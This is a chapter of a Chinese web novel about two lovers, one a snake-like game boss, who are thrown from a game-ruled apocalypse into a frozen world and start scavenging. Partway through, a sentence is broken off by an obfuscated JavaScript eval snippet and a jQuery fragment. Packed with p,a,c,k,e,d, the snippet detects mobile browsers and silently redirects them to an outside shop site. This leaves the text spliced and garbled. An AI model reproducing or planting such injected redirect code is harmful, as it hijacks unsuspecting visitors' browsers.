今天天气好。
难得没有下血雨酸雨乱七八糟什么雨。
只蒙着一层灰扑扑的云。
时不时,还能有几缕阳光倔强的钻出云层亮个相。
沉鹿捧着棵形似大白菜,但根系正如章鱼脚般蠕动挥舞的暗红色变异植物,推门进去。
地砖游弋出条黑蛇,鳞片泛着幽幽光泽,蛇瞳宝石般碧绿。足有成年人大腿粗。
大蛇到门口迎接,扬起半截身子,变成光溜溜的男人去抱沉鹿,脑袋在他颈窝用力蹭,语气黏黏糊糊:“今晚吃什么?我给你做。”
沉鹿拖着老大一只裸男,费劲走到桌边,将他好不容易弄回来的新鲜蔬菜放下,这才有空对付杜北冥:“杜大鹏我说过多少遍!!不要打赤条在家乱逛!”
杜北冥委屈:“我没有打赤条,我是蛇,有鳞片。”
沉鹿抿唇咬牙,在杜北冥下面用力掐了一把:“鳞片?少在这里跟我装傻耍流氓。”
杜北冥顿时倒吸口凉气,抓着沉鹿的胳膊将他用力往自己怀中压,小声嘶嘶抽气:“你要废了你老公吗?”
沉鹿特别不高兴,今天抢食材失败,用积分兑换都兑无可兑。自从这死游戏降临世界,环境真是一天比一天差。
沉鹿都数不清自己多久没吃口好的。
尽管他如今的体质,哪怕不吃不喝也没啥大事。
但心理上就是不爽。
杜北冥根本体会不到他的郁闷。
因为杜北冥不仅是条蛇,更是游戏里的副本boss,虽然跟着沉鹿出了游戏,可到底不是人类,没吃过好的,也就不懂那种遗憾。
脑子里成天想的就是抱着他睡大觉。
还不如下副本呢。
尽管,已经满级的沉鹿下副本也是虐菜。
沉鹿越想越觉得这日子过的没劲,恨不得打爆这该死的游戏。
杜北冥抱着他亲亲哄哄:“我明天去帮你抢好不好,别不开心宝宝,我问问副本里有没有好吃的。”
副本里是虚拟数据。
有当然有,杜北冥也能将其具现化带出副本。
但他本身就是游戏生命,好不容易脱离游戏存在,违规带副本里的东西出来是会耗他血条的。
轻则虚弱几天,重则躺个把月。
沉鹿扭头回抱住他,叹气:“算了,不要。”
“去房间睡觉!”他宣布。
杜北冥绿眼睛亮起来,低头吻沉鹿。
两人一路走一路亲,推开卧室门进去。
然后一脚踏空。
……
沉鹿:“……?”
沉鹿只感到一阵天旋地转,然后浑身被寒冷侵袭。
他摔倒在地上,跟他一起摔下来的还有杜北冥。
他以为自己是被强制送入副本,可很快,他发现自己的游戏版面无法打开,道具无法取出。
天寒地冻,四周全是白茫茫的雪。
而摔倒在地的杜北冥呢?
他看方才还精神百倍,耍心眼儿的男人,这会儿浑身赤裸,哆嗦着,狼狈得要命。
眼下的温度显然超出他的抵抗范围。
他进行了与沉鹿相同的动作,试图打开游戏版面。
失败。
于是他与低温作抗争的最后手段也没了。
从裸男变回黑蛇,体型缩小,只剩下拇指粗,灰溜溜朝着沉鹿爬去,整条蛇都萎靡不振。
爬到一半,彻底断电,原地倒下化作一条蛇棍。
就这么短暂的功夫,他黑色的鳞片上凝结出层白蒙蒙的薄霜,看起来实在凄惨的不得了。
沉鹿:“……”
看吧,当裸男的代价。
他好气又好笑,将强制进入冬眠的蛇捡起来,塞进自己领口。
人体的胸腹处是最暖和的地方,靠近心脏,血液循环最快,供能也最足,永远不会冰冷。
除非死亡。
沉鹿也很冷,不过低温对他没有特攻。
加之游戏版面虽然消失,可游戏里升级的体质显然没有收回,这种低温他仍可以抵抗一定时间。
但也只是一定时间,还是需要去寻找保暖物。
雪下的很厚,踢开最上头蓬松的那层,下头已经冻得很结实。
沉鹿将拉链拉到最上,帽子戴上,冲锋衣下摆的收拉绳束紧,又弯腰将裤腿全部塞进鞋口,将热意最大程度的保留。
弯腰时,腹部冰冰凉凉的蛇动了下,似乎恢复些许知觉。
慢腾腾的伸展细长的身躯,凭着本能缠上了沉鹿温热的腰腹,贴紧。
沉鹿隔着衣服摸了摸杜北冥,抬头眺望远方。
他呼出白蒙蒙的热气,选定一个方向后,踩着积雪朝那头走去。
*
极寒天灾已降临一年余。
全球各地温度都跌破零点时,人们听见一道似远天又似脑内深处传来的声音:
【极寒末世求生游戏正式开始,请各位玩家竭尽全力,搜集物资,建立庇护所,努力的寻找生路吧!】
【求生的同时也不要忘记努力锻炼!世界上增添了很多新朋友哦!】
像特别劣质的电子广播,拙劣的模仿人类语气。做作油腻。
不等他们追查出声音来源,无论男女老少都发现自己多了个虚拟游戏账号,维持半透明状态漂浮眼前。
他们世界真的变成了游戏,而他们每个人都成为其中的玩家,有蓝条血条经验条,还有等级。
同时温度极速下跌,全球大冰封,死伤无数。
星球上还多了无数不知从何冒出来的怪物。
这求生游戏降临短短一年时间,活着的人却觉得仿佛过了几十年,身心俱疲。
这夜里,有人打开游戏板面,在排行榜上无意义的来回刷新着,焦虑的咬着嘴唇。
如果能够进入排行榜前1000位,就能获得系统发放的排位奖励。不论是武器还是生存物资包都是好东西。
要是能让他挤进一千名就好了,哪怕是最后一位,只要让他待一周,系统就会判定他获取排位资格,这样发放的奖励也不会再收回……
莹莹的蓝光映照他的面孔。
突然,他瞪大眼!
快速将滑下来的排名拉回最顶!
只见顶端不知何时跳出来两个全然陌生的名字!
【NO.1沉鹿
等级:100(满的不能再满了您嘞!)
经验值:未知数
击杀:0(您干嘛来了?)】
【NO.2杜北冥
等级:99.9999……(NPC造反呐)
经验值:未知数
击杀:0(回家吧孩子)】
前三名有特殊游戏外观,金银铜三色的小皇冠气泡,以及加大加粗字体,在一排整齐划一的账号里特别显眼。
原本的第一第二被顺次下放。
这沉鹿跟杜北冥到底谁啊!!???怎么空降第一第二啊!!??
还有这个括号里的吐槽是什么鬼东西!游戏系统乱码了吗!??
击杀0和经验值未知数又是什么意思!??
他简直怀疑自己被这末世搞疯了,现在出现了幻视。
他再度刷了下。
这排名又变了。
所有被顺移下两位的人都回到了原位,第一还是原本的第一,第二还是原本的第二。
但那两个突然蹦出来的名字并未消失,而是在排名榜之上多了个单独席位,字体颜色半透明。游戏虚拟屏本就是半透明光幕,再配合上半透明的字体,达到了隐身效果,不是特别去看根本发现不了。
信息变成了这样。
【NO.0沉鹿
等级:100
经验值:未知数
击杀:0】
【NO.0杜北冥
等级:100
经验值:未知数
击杀:0】
括号里那坨吐槽没了,数据也有了点变化。看起来十分神秘。
这谁啊?到底有没有人能告诉他什么情况啊!
他懵了,也没空焦虑了,也没空忧愁了。
点进游戏公屏疯狂刷:世界排名谁看了!?沉鹿跟杜北冥是谁啊?
世界排名谁看了?沉鹿跟杜北冥谁啊!??
……
公屏刷完,发现没有大佬解答,只有一堆没用的家伙只会跟着他一起刷:世界排名谁看了?沉鹿跟杜北冥谁啊!?
他去论坛,居然没有人开贴问这种奇观!
没法,他只好自己发帖问:【世界排名谁看了?沉鹿跟杜北冥谁啊!?】
*
好消息是,沉鹿跟杜北冥并没有被传送到什么荒郊野岭。
前行约两个小时候后,沉鹿发现了明确的人类生存点——半截埋进雪里的建筑群。
说是建筑群有些许夸张。
大约有六七栋楼形建筑,露出地面半层,风格类似于拜占庭或文艺复兴式建筑,圆顶尖塔,圆顶下方有气窗类构造。
沉鹿敲了敲窗,很可惜,没有人回应。
这么深的雪,看来这里没人了。沉鹿有些失望。
看来找人问情况的事没找落了。
只能逛逛看,能不能寻找到点有用的物资。
当务之急,最需要的是取暖与保暖物。
他肘击玻璃,撞碎后从气窗翻进入。
破败的阁楼,温度与外界没有区别。
内里空间颇大,沉鹿下楼挨个楼层逛过,发现这里物资少的可怜,仿佛被人特意搜刮过。
搜查完毕,沉鹿从最底层的储物间发现几条被人遗留的厚被芯,还有些尺码不合的夏季服饰。
那些现代化电器缺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730658|208946||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
少电能,现在全都变成了废铁。
他抱着被芯上楼。
在紧邻阁楼的下一层,将被芯放下。
他决定宣布,这层楼是一楼,这层楼以下都是地下室!
沉鹿打算暂时先在这里搭窝,然后以这里为圆心,向四周探查情况。等他有些头绪后,再离开这里,前往其他地方。
沉鹿又去地下二层拖了张大铁床上来,将被子铺上,随后翻出这栋楼,如法炮制破开第二栋楼的气窗,搜查。
仍是无人。
这栋楼里的取暖物消失的更为彻底,好消息是沉鹿搜出两个防风打火机——尽管他不知道在这个没有柴火的地方,打火机能起什么作用。
总之先揣兜里。
揣兜时,他摸到了杜北冥的蛇尾巴,细细一点点,微微翘起。
被沉鹿隔着衣服摸到,便立刻蜷缩贴上他腰侧,环绕在他腰腹的蛇身收得更紧。
这家伙。
看样子还迷糊着。
沉鹿感到困惑,低温对蛇的攻击性这么强吗?
哪怕是杜北冥的体质强度都反应这么大?
落地也就几分钟吧。
沉鹿不是蛇,想不出答案,不想了。
他抱住自己搜集的有用物资,翻窗,搬进自己在这个地方暂定的新窝里。
在长达几小时的辛勤搜索后,光线转为黑暗。
雪地映射出微蓝的冷光。
沉鹿将自己从别的楼上拆下的完整气窗玻璃,小心翼翼嵌入窗框,外头的冷风被隔绝。
他下楼,点燃香薰蜡烛,借着光清点他的物资。
此刻的沉鹿已经穿的十分厚实,身上的衣服层层叠叠,最外头的是一件防水防风的橘红色冲锋衣,无论在任何环境中都十分亮眼。
他找到了两箱十二支装的香薰蜡烛,用作照明工具可以挺很久。
他还找到了很多书,但文字一本都看不懂,于是只揣了两本感觉跟英文最像,并且附有图片的带过来。
不足二十平的房间里,被沉鹿乱七八糟摆满了东西。
沉鹿看着觉得碍眼,干脆脱了外头占满霜雪的冲锋衣外套与裤子鞋,钻进被窝中。
腰上已经与他体温同化的蛇格外有存在感。
沉鹿再度隔着衣服摸了摸他,仍是没什么反应。
沉鹿只好闭眼,打算睡觉。
在他昏昏欲睡的时候,温热光滑的鳞片划过他柔软的肚腹,爬过心脏咚咚跳动的胸膛,钻出领口。
被窝里暖烘烘的,被沉鹿的体温暖透,屋内弥漫着香薰的淡淡甜味。
他在迷迷糊糊的睡意里,被宽阔结实的胸膛牢牢抱住,亲吻顺着下颌爬上鼻尖。
沉鹿睁开眼,在极昏暗的环境中看清杜北冥的绿眼睛。
杜北冥被子拉得高高的,紧紧裹住两个人,只有头顶发丝儿还露在外面,腿贴着沉鹿的腿,手掌也钻进衣服,整个人恨不能融化在沉鹿身上。
看见沉鹿醒了,去亲他的嘴唇:“好暖和。”
沉鹿眯着眼睛,半梦半醒的跟他亲了一会儿,才想起正事:“找到了衣服。”
他伸手够床边,将厚厚一袋子的衣服拽进被窝。
尽管沉鹿找的已经是最大尺码,但对杜北冥来说还是小了点。
真正能防寒保暖的棉服,羽绒服,毛衣等等早就被搜刮一干二净,留下来的是作用不大的单薄春衫,哪怕套了一层又一层,也仅仅是聊胜于无。
杜北冥套了两件衣服,发觉还是没有抱沉鹿舒服,又紧紧贴上去:“咱们到哪儿了?是新副本?”
“不清楚,游戏版面消失了,看着不像我们世界的。”
经历过游戏降临后多年的副本求生,沉鹿已经对自己可能出现在另一个世界相当坦然。
现在就算告诉他,他穿到了恐龙灭绝的冰河时期,他也不会觉得意外。
再怎么样,不会比他们无限流世界更差了。
那里三五不时还会下腐蚀性极强的硫酸雨呢!
实在不是个适合养老的地方!
也没有能下口的东西,换个地方说不定反而更好。
除了对杜北冥。
他钻进杜北冥的怀里:“你的身体有影响吗?”
杜北冥试了试:“正常。还是低温影响比较大。”
“那就好。”
“睡觉吧。”
夫夫俩于是在到达异世的第一个晚上,就这样不慌不忙的钻进被窝里,抱着彼此睡着了。
睡眠质量优秀,连梦都没做一个。
在几十公里外。
肩高约两米,体长五米,形似犰狳的巨型动物停下动作,抬头,努力耸动鼻子捕捉方才突然嗅到的,被风自远方送来的活人血肉气息。
它顺着风的方向努力辨别。
但那丝气息很快被冷风刮散,像是它饿糊涂的错觉。